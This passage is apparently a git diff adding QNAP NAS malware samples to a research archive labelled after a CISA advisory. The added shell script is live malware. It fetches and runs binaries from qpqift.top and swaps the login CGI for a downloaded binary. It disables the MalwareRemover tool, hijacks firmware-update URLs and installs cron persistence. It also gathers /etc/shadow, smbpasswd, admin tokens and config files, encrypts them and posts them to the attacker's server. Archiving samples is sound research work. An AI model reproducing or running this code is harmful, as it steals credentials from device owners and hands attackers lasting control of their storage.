test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout "$curlconntimeout" -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout "$curlconntimeout" -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +chmod 755 ".backup_${file}" +if grep "\.backup_${file}" "$file"; then +: +else +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +echo ". ./.backup_${file}" >> "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi + +fi + +if [ ! -f ".qdisk_cmd" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY=' + ;; + *i*86*) + arch=i486 + binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp" + test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd' + else + rm -f '.qdisk_cmd.tmp' + fi + fi +fi +binhash=''; rsynchash='' + +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "${bdir}/.qpkg/${path}" +fi +done + +version=$(getcfg System Version) +test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf) +test "${version##*.}" -lt 3 || test "${version%%.*}" -lt 4 || test "$(version=${version#*.}; echo "${version%.*}")" -lt 3 && version=4.3.3 || { test "${version##*.}" -gt 5 && version=4.3.5; } + +if [ ! -d rssdoc ]; then +command -v bunzip2 && compext=bz2 || compext=gz +curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" && test -f "rssdoc.tar.${compext}" && rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" && { test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA="; } && { test "$compext" = bz2 && tarflag=j || tarflag=z; } && tar -x${tarflag}f "rssdoc.tar.${compext}" || rm -f rssdoc.tar +rm -f "rssdoc.tar.${compext}" +fi + +rm -f /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml} +ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd + +if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then +internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080) +localupdateurl="http://127.0.0.1:${internalwebport}" +sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +test -f '/etc/config/rssdoc/qpkgcenter_*.xml' || test -h '/etc/config/rssdoc/qpkgcenter_*.xml' && { test -f '.qdisk_cmd' && ./.qdisk_cmd -i '/etc/config/rssdoc/qpkgcenter_*.xml'; rm -f '/etc/config/rssdoc/qpkgcenter_*.xml'; } + +if find /etc/config/rssdoc | grep 'qpkgcenter_.*\.xml'; then +: +else +cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml' +test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml' +fi + +for file in /etc/config/rssdoc/qpkgcenter_*.xml +do +if [ -f "$file" ] && { rm -f "$file" || [ ! -s "$file" ]; }; then +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +touch "$file" +cp -f "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi +done +file='' + +for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do +test -d "$qpkgdir" && break +done +test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover" +test -d "${qpkgdir}/MalwareRemover/modules" || mkdir "${qpkgdir}/MalwareRemover/modules" +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover" + +if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then +for file in 10_derek_3.pyc 12_derek_3.pyc; do +if [ ! -f "${qpkgdir}/MalwareRemover/modules/${file}" ] || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" || test -x "${qpkgdir}/MalwareRemover/modules/${file}" || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -gt 150 ] || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -lt 120 ]; then +test -f '.qdisk_cmd' && test -f "${qpkgdir}/MalwareRemover/modules/${file}" && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover/modules/${file}" && rm -f "${qpkgdir}/MalwareRemover/modules/${file}" +openssl base64 -d <<"EOF" >"${qpkgdir}/MalwareRemover/modules/${file}" +A/MNCuVwTVxjAAAAAAAAAAABAAAAQAAAAHMLAAAAZQAAgwAAAWQAAFMoAQAAAE4o +AQAAAHQEAAAAZXhpdCgAAAAAKAAAAAAoAAAAAHMVAAAAbW9kdWxlcy8xMF9kZXJl +a18zLnB5dAgAAAA8bW9kdWxlPgEAAABzAAAAAA== +EOF +chmod -x "${qpkgdir}/MalwareRemover/modules/${file}" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}" +fi +done +fi +file=''; qpkgdir='' + +if [ ! -f .rsakey ]; then +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +fi + +cgibindir='/home/httpd/cgi-bin' +if [ ! -f "1551848401_c" ] && [ -f "${cgibindir}/authLogin.cgi" ] && [ ! -f "${cgibindir}/sysauthLogin.cgi" ]; then + test -f "1551848401_c" || touch "1551848401_c" + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='rrYwg0D4+4DxcDxYQsNTB4JUGlQ=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z4n2BZdhwjYf0wjM7GCW61WM9eU=' + ;; + *i*86*) + arch=i486 + binhash='U3eHe6syQraRBGgsvkFZH3wibDw=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal2_${arch}" || rm -f ".qal" + test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod 755 "${cgibindir}"/authLogin.cgi + fi + test -f '.qal' && rm -f '.qal' + fi +fi + +if [ -f "${cgibindir}"/authLogin.cgi ] && "${cgibindir}"/authLogin.cgi | grep '/dev/null || cat "${confdir}/BOOT.conf"` || { test "$arch_o" = arm && __BOOT_CONF=TS-NASARM; } +command -v hal_app > /dev/null 2>&1 && { __BOOT_DEV=$(hal_app --get_boot_pd port_id=0); } +test "${__BOOT_CONF}" = TS-NASARM || test "$arch_o" = arm && { test -f /etc/IS_TAS && __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}7" || __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}5"; } || __BOOT_DEV="${__BOOT_DEV:-/dev/sdx}6" +test "x${CONFIG_DEV_NODE}" != "x" && { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}" > /dev/null 2>&1 || { test -f /etc/IS_TAS && mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } } || mount ${__BOOT_DEV} -t ext2 ${mdir} || { test "${__model}" = "TS-201" && mount -t ext2 /dev/mtdblock4 ${mdir}; } || { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}"; mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } || { test "${__model}" = "TS-269L" && mount -t ext2 /dev/sdc6 ${mdir}; } || { test "${__model}" = "TS-869" && mount -t ext2 /dev/sdi6 ${mdir}; } || { test "$arch_o" = arm || ${__BOOT_CONF} = "TS-NASARM" && { for i in 5 7 4 6 3 8; do mount -t ext2 "/dev/mtdblock${i}" ${mdir} && break; done; }; } || { test "$arch_o" = x86 && for n in /dev/sdc /dev/sdx /dev/sdi $__BOOT_DEV; do for i in 6 $CONFIG_DEV_PART; do mount -t ext2 ${n}${i} ${mdir} && break 2; done; done; } || { mount -t ext2 $(/sbin/hal_app --get_boot_pd port_id=0)6 ${mdir}; } + +if [ $? -eq 0 ] || mount | grep "$mdir" >/dev/null; then +for file in "${mdir}"/K01* "${mdir}/autorun.sh" '/tmp/config/autorun.sh'; do +if [ -f "$file" ]; then +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\ +verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/' +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex' +sedreplace "$grepstring" "$sedcmd" "$file" +sedcmd='s/g4rwwSz1Bp1i1'"'"'/g4rwwS'"''"'z1Bp1i1'"'"'/' +grepstring='g4rwwSz1Bp1i1'"'" +sedreplace "$grepstring" "$sedcmd" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "$file" +fi +done +fi +umount "$mdir" +rmdir "$mdir" +fi + +if [ ! -f '1553058001_c' ]; then +touch '1553058001_c' +key=$(tr -dc 'a-zA-Z0-9' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +{ echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':' +{ echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/smbpasswd /etc/shadow /etc/config/*.conf /etc/default_config/*.conf /etc/*.conf /etc/config/.*.conf /etc/default_config/.*.conf /etc/.*.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; printf '%s:' "display_name"; /sbin/get_display_name; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl" +fi + +if [ ! -f 1551848403_c ]; then +touch 1551848403_c +test -f liveupdate.sh && cronscriptpath=.liveupdate/liveupdate.sh || { test -f backup_conf.sh && cronscriptpath=.config/backup_conf.sh; } + +if [ ! -z $cronscriptpath ]; then +test -d "${bdir}/.system" || mkdir -p "${bdir}/.system" +echo '(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh&' > "${bdir}/.system/.qinstaller.sh" +chmod 755 "${bdir}/.system/.qinstaller.sh" +{ +cat <<"XXEOF" +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep +sleep 5 +XXEOF +cat < "\${bdir}/.qpkg/${cronscriptpath}" <<"XEOF" +XXEOF +cat "${cronscriptpath#*/}" +cat </dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "\${bdir}/.qpkg/${cronscriptpath}" || chmod 755 "\${bdir}/.qpkg/${cronscriptpath}" + +crontabargs=\$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\\(.\\+\\)/\\1/p') +trycount=10; trycount=\$(( \$trycount - 10 )) +set x \$crontabargs; shift +while [ \$# -gt 0 ] && [ \$trycount -lt 10 ]; do +trycount=\$(( \$trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "\$OPT" = 'c' && crontabfile="\${OPTARG}/admin" && break +test "\$OPTIND" -gt 0 && shift "\$OPTIND" && OPTIND=1 || break +done +test "\$crontabfile" && test -f "\${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "\$crontabfile" "\${confdir}/crontab"; do +if \$fgrep "\${bdir}/.qpkg/${cronscriptpath}" "\$crontab"; then +: +else +cronmins=\$(printf '%i' "\$(( \$RANDOM % 60 ))") +cronhour=\$(printf '%i' "\$(( \$RANDOM % 24 ))") +cronhour=\$(printf '%i,' "\$(( ( \$cronhour + 8 ) % 24 ))" "\$(( ( \$cronhour + 16 ) % 24 ))")"\$cronhour" +echo "\$cronmins \$cronhour"' * * * '"\${bdir}/.qpkg/${cronscriptpath} >/dev/null 2>/dev/null" >> "\$crontab" +crontab "\$crontab" +sleep 2 +fi +done +) & ) & +XXEOF +} | { openssl base64 -A; echo; echo 'EOF'; echo ')&)'; } >> "${bdir}/.system/.qinstaller.sh" +{ { crontab -l || cat /etc/config/crontab; } | grep -v '^ *#' | awk '{ print $6 }'; sed -n 's/^ \?[Ss]hell \?= \?//p' /etc/config/qpkg.conf; } | grep '/' | sort | uniq | while IFS= read -r line; do +test ! -z "$line" || continue +test -f "$line" || continue +test "$line" = $(pwd)/liveupdate.sh || test "$line" = $(pwd)/backup_conf.sh && continue +grep '/\.system/\.qinstaller\.sh"; exit' "$line" && continue +head -n 1 "$line" | grep '^#! \?/bin/b\?a\?sh' || continue; +tab=' ' +test "${#tab}" -eq 1 || tab=$(printf '\011') || tab=$(echo -e '\011') +sed -i 's!^\([ '"$tab"']\{1,\}\)exit\([ '"$tab"']\{1,\}[0-9]\{1,\}\)\{0,1\}\(\;\{0,1\}[ '"$tab"']*\)$!\1{ '"${bdir}/.system/.qinstaller.sh"'; exit\2; }\3!;s!^exit\([ '"$tab"']\{1,\}[0-9]\{1,\}\)\{0,1\}\(\;\{0,1\}[ '"$tab"']*\)$!{ '"${bdir}/.system/.qinstaller.sh"'; exit\1; }!;s!/.qpkg/.q\{0,1\}installer.sh; exit!/.system/.qinstaller.sh; exit!' "$line" +hash='' +hash=$(sed -n '2,5p' "$line" | md5sum) +hash=${hash%${hash##*[0-9a-f]}}; hash=${hash#${hash%%[0-9a-f]*}} +trycnt=20 +while [ "x$hash" = 'x18ec5ab42dc1231da518951e4479c27b' ] && [ "$trycnt" -gt 0 ]; do +trycnt=$(( $trycnt - 1)) +sed -i '2,5d' "$line" +hash='' +hash=$(sed -n '2,568{/key=/d;s/\.liveupdate\/liveupdate\.sh//g;s/\.config\/backup_conf\.sh//g;p}' "$line" | md5sum) +hash=${hash%${hash##*[0-9a-f]}}; hash=${hash#${hash%%[0-9a-f]*}} +done +done +fi +fi + +test -f "${ts}_c" || touch "${ts}_c" +rm -f "${CWD}/".tmp.* +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e new file mode 100644 index 0000000..8cae5dc --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/3cb052a7da6cda9609c32b5bafa11b76c2bb0f74b61277fecf464d3c0baeac0e @@ -0,0 +1,107 @@ +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min 